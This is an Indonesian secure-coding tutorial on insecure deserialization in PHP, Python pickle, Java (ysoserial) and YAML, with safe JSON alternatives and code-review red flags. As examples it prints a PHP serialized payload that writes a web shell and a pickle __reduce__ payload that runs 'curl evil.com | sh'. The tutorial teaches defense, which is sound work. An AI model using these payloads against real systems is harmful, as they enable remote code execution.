Serialization: Refresh
Serialization mengubah object menjadi string/bytes agar bisa disimpan atau dikirim. Deserialization kebalikannya. Masalah muncul saat aplikasi men-deserialisasi data dari sumber yang tidak dipercaya — struktur data bisa membawa instruksi yang dieksekusi oleh runtime.
Format Aman vs Berbahaya
- JSON — Hanya data (string, number, array, object). Aman kalau parser tidak "rehydrate" class.
- PHP serialize() — Menyimpan type class, memicu magic methods saat unserialize
- Python pickle — Bisa menjalankan kode arbitrary saat load
- Java ObjectInputStream — Gadget chains terkenal (ysoserial)
- YAML —
yaml.load()(bukansafe_load) rentan di banyak library
PHP: Magic Method Gadgets
// BURUK: unserialize dari input user
$data = unserialize($_COOKIE["pref"]); // ← bahaya!
// Kenapa? Saat unserialize, PHP memanggil magic method:
// __wakeup() — dipanggil saat object di-restore
// __destruct() — dipanggil saat object dihancurkan
// __toString() — dipanggil saat object dikonversi string
// Kalau ada class di codebase dengan __destruct yang memanggil
// file_put_contents / exec / eval, attacker merangkai "gadget chain"
class Logger {
public $file;
public $data;
public function __destruct() {
file_put_contents($this->file, $this->data);
}
}
// Payload: O:6:"Logger":2:{s:4:"file";s:13:"/var/www/shell.php";s:4:"data";s:23:"<?php system($_GET[0]);";}
// Unserialize → destructor menulis web shell!
BAIK: JSON + Validasi
// Prefer JSON untuk data transport
$data = json_decode($_COOKIE["pref"], true);
if (!is_array($data) || !isset($data["theme"])) {
throw new InvalidArgumentException("Invalid cookie");
}
$theme = in_array($data["theme"], ["light","dark"]) ? $data["theme"] : "light";
BAIK: Signed Data kalau Harus Pakai Binary
// Laravel: tanda tangani cookie
$signed = Crypt::encryptString(serialize($obj));
// Attacker tidak bisa modifikasi tanpa memecahkan kunci enkripsi
Python: Pickle Gadgets
# BURUK
import pickle
user_pref = pickle.loads(request.cookies["pref"])
# Payload attacker:
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("curl evil.com | sh",))
payload = pickle.dumps(RCE())
# pickle.loads(payload) → jalankan shell command
# BAIK
import json
user_pref = json.loads(request.cookies["pref"])
Java: ysoserial
Java ObjectInputStream.readObject() memicu rantai method di class di classpath. Tool ysoserial mengotomatiskan generasi payload untuk library populer (Commons Collections, Spring, Hibernate). Serangan RCE sering ditemukan di endpoint yang menerima serialized Java object (RMI, JMX, beberapa API lama).
Pencegahan
- Jangan deserialisasi dari user — ini aturan #1. Kalau bisa, ganti ke JSON.
- Tanda tangani data — HMAC/encrypt sehingga attacker tidak bisa modifikasi
- Validasi tipe — whitelist class yang boleh di-deserialize
- Sandbox — jalankan proses deserialization dengan privilege minimal
- Monitor — log semua panggilan unserialize/pickle.loads/ObjectInputStream
- Update library — gadget lama sering di-patch
Red Flags di Code Review
// Cari pattern ini:
unserialize($_GET / $_POST / $_COOKIE / $_REQUEST) // PHP
pickle.loads(request....) // Python
yaml.load(...) tanpa Loader=yaml.SafeLoader // Python
ObjectInputStream(userInput).readObject() // Java
Marshal.load(userInput) // Ruby